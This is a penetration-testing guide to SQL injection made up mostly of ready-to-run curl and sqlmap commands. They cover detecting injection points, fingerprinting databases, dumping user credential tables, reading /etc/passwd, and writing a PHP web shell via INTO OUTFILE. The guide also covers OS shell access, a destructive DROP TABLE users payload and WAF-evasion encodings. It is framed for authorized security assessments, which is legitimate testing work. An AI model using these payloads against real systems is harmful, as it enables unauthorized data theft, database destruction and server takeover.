SQL Injection

SQL injection penetration testing guide covering union-based, boolean-based, time-based, and error-based SQL injection techniques using SQLMap and manual methods to exploit database vulnerabilities and extract sensitive data during security assessments.

SQL Injection (SQLi) occurs when user input is improperly sanitized and directly concatenated into SQL queries, allowing attackers to manipulate database queries, extract sensitive data, and potentially execute system commands.

Enumeration

Identifying Potential Injection Points

Common injection points:

  • URL parameters: ?id=1&user=admin
  • POST form data: login forms, search fields
  • HTTP headers: User-Agent, X-Forwarded-For, Cookie
  • JSON/XML data in API requests

Manual identification:

# Test URL parameters
curl "http://$RHOST/page?id=1'"
curl "http://$RHOST/page?id=1\""
curl "http://$RHOST/page?id=1--"

# Test POST data
curl -X POST "http://$RHOST/login" -d "user=admin'&pass=test"

What to look for in responses:

  • SQL error messages - Indicates injection point and database type:

    • MySQL: You have an error in your SQL syntax
    • PostgreSQL: syntax error at or near
    • MSSQL: Unclosed quotation mark
    • Oracle: ORA-00933: SQL command not properly ended
  • Behavior differences - Compare responses between:

    • Normal input vs. injected input
    • Single quote vs. double quote
    • Valid data vs. invalid SQL
  • HTTP status codes - 500 errors may indicate SQL errors (check response body)

Next steps if errors detected:

  1. Identify database type from error message
  2. Test with database-specific syntax
  3. Move to Information Gathering to fingerprint database version
  4. Proceed with Vulnerability Assessment using appropriate injection type

Automated Detection

SQLMap basic test:

sqlmap -u "http://$RHOST/page?id=1"
sqlmap -u "http://$RHOST/page?id=1" --batch --crawl=2

POST request testing:

sqlmap -u "http://$RHOST/login" --data="user=admin&pass=test"
sqlmap -u "http://$RHOST/login" --data="user=admin&pass=test" -p user

Cookie-based testing:

sqlmap -u "http://$RHOST/page" --cookie="session=abc123"

Burp Suite integration:

# Save request from Burp to file
sqlmap -r request.txt

Information Gathering

Database Fingerprinting

Manual version detection:

# MySQL
curl "http://$RHOST/page?id=1' UNION SELECT @@version--"

# PostgreSQL
curl "http://$RHOST/page?id=1' UNION SELECT version()--"

# MSSQL
curl "http://$RHOST/page?id=1' UNION SELECT @@version--"

# Oracle
curl "http://$RHOST/page?id=1' UNION SELECT banner FROM v$version--"

SQLMap database detection:

sqlmap -u "http://$RHOST/page?id=1" --dbs
sqlmap -u "http://$RHOST/page?id=1" --banner
sqlmap -u "http://$RHOST/page?id=1" --current-db
sqlmap -u "http://$RHOST/page?id=1" --current-user

What to look for in SQLMap output:

  • [INFO] the back-end DBMS is [database type] - Database identified
  • [INFO] retrieved: [version] - Database version discovered
  • List of databases under available databases - Enumeration successful
  • Current database and user information

Next steps after database identification:

  1. Note database type and version for exploit selection
  2. List databases to identify interesting targets (admin, users, etc.)
  3. Select target database and enumerate tables
  4. Proceed to schema enumeration for sensitive tables (users, passwords, etc.)

Database Schema Enumeration

List databases:

sqlmap -u "http://$RHOST/page?id=1" --dbs

List tables:

sqlmap -u "http://$RHOST/page?id=1" -D database_name --tables

List columns:

sqlmap -u "http://$RHOST/page?id=1" -D database_name -T table_name --columns

Dump table data:

sqlmap -u "http://$RHOST/page?id=1" -D database_name -T table_name --dump

Dump specific columns:

sqlmap -u "http://$RHOST/page?id=1" -D database_name -T table_name -C username,password --dump

Vulnerability Assessment

Testing Injection Types

Boolean-based blind SQLi:

# True condition
curl "http://$RHOST/page?id=1' AND 1=1--"

# False condition
curl "http://$RHOST/page?id=1' AND 1=2--"

What to look for in responses:

  • Content differences - Compare response length and content between true/false conditions:

    • True: Normal page content, expected data displayed
    • False: Empty result, error message, or missing content
    • Use -w %{size_download} to measure response size differences
  • Response patterns - Look for:

    • Different HTTP status codes (200 vs 500)
    • Missing or altered content sections
    • Different response times (though minimal for boolean-based)

Next steps if boolean-based injection confirmed:

  1. Use SQLMap with --technique=B for automated extraction
  2. Manually extract data character by character using boolean conditions
  3. Look for UNION-based opportunities (faster than boolean)
  4. If UNION fails, proceed with time-based extraction

Time-based blind SQLi:

# MySQL
curl "http://$RHOST/page?id=1' AND SLEEP(5)--"

# PostgreSQL
curl "http://$RHOST/page?id=1' AND pg_sleep(5)--"

# MSSQL
curl "http://$RHOST/page?id=1' AND WAITFOR DELAY '00:00:05'--"

What to look for in responses:

  • Response time - Measure with time curl or curl -w '@-':

    • Normal request: Typical response time (e.g., 0.1-0.5s)
    • Injection successful: Delayed response (5+ seconds)
    • Network delays may cause false positives (test multiple times)
  • Consistent delays - True conditions delay consistently, false conditions respond immediately

Next steps if time-based injection confirmed:

  1. Confirm with multiple delay tests (use different values: 5s, 10s)
  2. Use SQLMap with --technique=T for automated extraction (slower but reliable)
  3. Consider time-based as fallback if other techniques fail
  4. Note that time-based extraction is slow - prioritize UNION or error-based if available

Union-based SQLi:

# Find number of columns
curl "http://$RHOST/page?id=1' ORDER BY 1--"
curl "http://$RHOST/page?id=1' ORDER BY 2--"
# ... continue until error

# Union injection
curl "http://$RHOST/page?id=1' UNION SELECT NULL,NULL,NULL--"
curl "http://$RHOST/page?id=-1' UNION SELECT 1,2,3--"

What to look for in responses:

  • ORDER BY test - Continue incrementing until error:

    • Success: Normal page response
    • Error: “Unknown column ‘X’ in ‘order clause’” or similar
    • The last successful number = column count
  • UNION test - Look for:

    • Numbers 1, 2, 3 appearing in response (identifies output columns)
    • Data from UNION SELECT appearing in page
    • NULL compatibility - all columns must match data types
  • Negative ID trick - Use -1 or invalid ID to hide original query results, showing only UNION data

Next steps if UNION-based injection confirmed:

  1. Identify which columns are displayed (numbers 1,2,3 in response)
  2. Replace numbers with actual queries (version(), user(), database())
  3. Use SQLMap with --technique=U for faster extraction
  4. Enumerate databases, tables, and columns using UNION queries

Error-based SQLi:

# MySQL
curl "http://$RHOST/page?id=1' AND extractvalue(1,concat(0x7e,(SELECT @@version),0x7e))--"

# PostgreSQL
curl "http://$RHOST/page?id=1' AND cast((SELECT version()) as int)--"

SQLMap comprehensive test:

sqlmap -u "http://$RHOST/page?id=1" --technique=BEUST
  • B = Boolean-based blind
  • E = Error-based
  • U = Union-based
  • S = Stacked queries
  • T = Time-based blind

Exploitation

Data Extraction

Extract all databases:

sqlmap -u "http://$RHOST/page?id=1" --dbs --batch

Extract database schema:

sqlmap -u "http://$RHOST/page?id=1" -D database_name --schema

Extract user credentials:

sqlmap -u "http://$RHOST/page?id=1" -D database_name -T users -C username,password --dump

What to look for in SQLMap dump:

  • Extracted data displayed in terminal
  • Password hashes (MD5, SHA1, bcrypt) - note for cracking
  • Plaintext passwords - critical finding
  • Username enumeration - check for admin/administrator accounts

Next steps after credential extraction:

  1. Test credentials on application login
  2. If hashed, attempt to crack (hashcat, john)
  3. Check for password reuse across systems
  4. Look for other sensitive tables (api_keys, tokens, etc.)
  5. Document findings for report

Custom query execution:

sqlmap -u "http://$RHOST/page?id=1" --sql-query="SELECT user()"
sqlmap -u "http://$RHOST/page?id=1" --sql-shell

What to look for in query output:

  • Database user permissions (check if DBA/root)
  • Database version and configuration
  • File system access capabilities

Next steps after query execution:

  1. Check user privileges with SELECT user(),super_priv FROM mysql.user
  2. If high privileges, attempt file operations
  3. Test for command execution capabilities
  4. Map database structure for comprehensive data extraction

File System Operations

Read files (MySQL):

sqlmap -u "http://$RHOST/page?id=1" --file-read="/etc/passwd"

Write files (MySQL):

sqlmap -u "http://$RHOST/page?id=1" --file-write="/path/to/shell.php" --file-dest="/var/www/shell.php"

Manual file read:

curl "http://$RHOST/page?id=1' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--"

Command Execution

SQLMap OS shell:

sqlmap -u "http://$RHOST/page?id=1" --os-shell
sqlmap -u "http://$RHOST/page?id=1" --os-cmd="whoami"

Manual command execution (MySQL):

# Requires FILE privilege
curl "http://$RHOST/page?id=1' UNION SELECT NULL,'<?php system(\$_GET[cmd]); ?>',NULL INTO OUTFILE '/var/www/shell.php'--"

Advanced Techniques

Second-order SQLi:

# Submit payload that gets stored and executed later
sqlmap -u "http://$RHOST/register" --data="username=admin'--&email=test@test.com"

Stacked queries:

# MSSQL, PostgreSQL (if supported)
curl "http://$RHOST/page?id=1'; DROP TABLE users--"

SQLMap with custom tamper scripts:

sqlmap -u "http://$RHOST/page?id=1" --tamper=space2comment,charencode

Bypass WAF filters:

# URL encoding
curl "http://$RHOST/page?id=1%27%20UNION%20SELECT%201--"

# Double URL encoding
curl "http://$RHOST/page?id=1%2527%2520UNION--"

# Case variation
curl "http://$RHOST/page?id=1' UnIoN SeLeCt 1--"

# Comments
curl "http://$RHOST/page?id=1'/**/UNION/**/SELECT/**/1--"

Common Tools

SQLMap

Basic usage:

sqlmap -u "http://$RHOST/page?id=1" --batch

Comprehensive scan:

sqlmap -u "http://$RHOST/page?id=1" --batch --crawl=2 --forms --dump-all

With proxy (Burp):

sqlmap -u "http://$RHOST/page?id=1" --proxy="http://127.0.0.1:8080"

Batch mode (no prompts):

sqlmap -u "http://$RHOST/page?id=1" --batch --level=5 --risk=3

Custom user agent:

sqlmap -u "http://$RHOST/page?id=1" --user-agent="Mozilla/5.0"

NoSQLMap (NoSQL Injection)

MongoDB injection:

nosqlmap -u http://$RHOST -m GET

POST request:

nosqlmap -u http://$RHOST/login -m POST -d '{"user":"admin","pass":"test"}'

Manual Testing with curl

Basic injection test:

curl "http://$RHOST/page?id=1'" -v
curl "http://$RHOST/page?id=1\"" -v
curl "http://$RHOST/page?id=1--" -v

POST injection:

curl -X POST "http://$RHOST/login" -d "user=admin'--&pass=test" -v

SQL Injection Types Reference

In-band SQLi (Classic)

  • Union-based: Use UNION to retrieve data
  • Error-based: Extract data from error messages

Inferential SQLi (Blind)

  • Boolean-based: Use boolean conditions to infer data
  • Time-based: Use time delays to infer data

Out-of-band SQLi

  • DNS exfiltration: Use DNS queries to extract data
  • HTTP requests: Use HTTP requests to exfiltrate data